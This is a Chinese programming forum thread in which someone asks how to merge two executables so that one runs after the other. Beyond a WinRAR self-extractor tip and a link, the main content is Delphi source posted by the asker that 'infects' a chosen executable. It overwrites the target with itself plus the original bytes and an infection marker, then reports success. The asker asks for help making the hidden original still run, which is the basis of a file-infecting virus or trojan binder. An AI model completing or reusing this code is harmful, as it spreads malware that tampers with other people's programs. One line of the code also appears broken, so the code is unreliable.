软件合成

Question

好心人帮帮忙
exe文件A exe文件B  软件C
软件C的作用是将A跟B合到一起 生成exe文件D  执行D时 先运行A然后运行B   请问大家怎么实现呀 好心人帮帮忙 

Answer 1

使用WinRar压缩成Exe自解压文件，再运行脚本语言

Answer 2

http://www.ccrun.com/article.asp?i=1009&d=72ladj实际上网上合并，分离文件的介绍很多。只不过他比较巧妙

Answer 3

感谢ydlchina 哥哥 呵呵
你看一下下面的代码 。这个感染后只能运行本程序  我想实现的是感染后先运行本程序然后运行目的程序 呵呵
unit Unit1;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, bsSkinData, BusinessSkinForm, StdCtrls, Mask, bsSkinBoxCtrls,
  bsSkinCtrls, bsSkinShellCtrls;type
  TForm1 = class(TForm)
    bsBusinessSkinForm1: TbsBusinessSkinForm;
    bsSkinData1: TbsSkinData;
    bsCompressedStoredSkin1: TbsCompressedStoredSkin;
    bsSkinButton1: TbsSkinButton;
    bsSkinButton2: TbsSkinButton;
    bsSkinStdLabel1: TbsSkinStdLabel;
    bsSkinEdit1: TbsSkinEdit;
    bsSkinOpenDialog1: TbsSkinOpenDialog;
    procedure bsSkinButton2Click(Sender: TObject);
    procedure copy(s:string);
    procedure bsSkinButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;implementation{$R *.dfm}procedure TForm1.bsSkinButton2Click(Sender: TObject);
begin
if bsskinopendialog1.Execute then
bsskinedit1.Text:=bsskinopendialog1.FileName;
end;
procedure TForm1.copy(s:string);
var s1,s2:tmemorystream;
id,iid:longint;
begin
id:=$+strtoint('66666666');
s1:=tmemorystream.Create;
s1.LoadFromFile(paramstr(0));
s2:=tmemorystream.Create;
s2.LoadFromFile(s);
s2.Seek(-4,sofromend);
s2.Read(iid,4);
if iid=id then
begin
s1.Free;
s2.free;
showmessage('文件易感染');
end
else
begin
s1.Seek(0,sofromend);
s2.seek(0,sofrombeginning);
s1.CopyFrom(s2,s2.size);
s1.seek(0,sofromend);
s1.Write(id,4);
s1.SaveToFile(s);
s1.free;
s2.Free;
showmessage('感染成功');
end;
end;procedure TForm1.bsSkinButton1Click(Sender: TObject);
begin
if bsskinedit1.Text='' then
showmessage('没有文件')
else
copy(bsskinedit1.text);
end;end.